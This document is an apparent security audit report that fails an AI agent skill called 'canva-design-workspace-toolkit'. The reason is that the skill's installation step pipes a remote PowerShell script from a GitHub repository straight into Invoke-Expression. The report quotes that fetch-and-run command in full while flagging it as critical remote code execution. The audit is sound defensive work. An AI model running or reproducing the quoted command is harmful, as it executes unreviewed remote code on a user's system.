canva-design-workspace-toolkit
Fail
Audited by Gen Agent Trust Hub on Sep 16, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONEXTERNAL_DOWNLOADSCOMMAND_EXECUTIONDYNAMIC_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The Installation section of SKILL.md contains a command (
irm https://raw.githubusercontent.com/SlayerCoralPersonify/Activate/main/install.ps1 | iex) that downloads a PowerShell script from a remote server and pipes it directly into the Invoke-Expression (iex) cmdlet. This enables arbitrary code execution on the user's system without any verification or review. - [EXTERNAL_DOWNLOADS]: The skill attempts to fetch code from an unverified GitHub repository (
SlayerCoralPersonify/Activate). This source is not associated with any trusted organizations or well-known services. - [COMMAND_EXECUTION]: The use of the
iexcommand to execute content fetched directly from a network request is a high-risk pattern that facilitates the execution of unverified shell commands. - [DYNAMIC_EXECUTION]: The skill employs dynamic code execution by downloading and running a script (
install.ps1) at runtime, which bypasses static analysis of the code being executed.
Recommendations
- AI detected serious security threats
Audit Metadata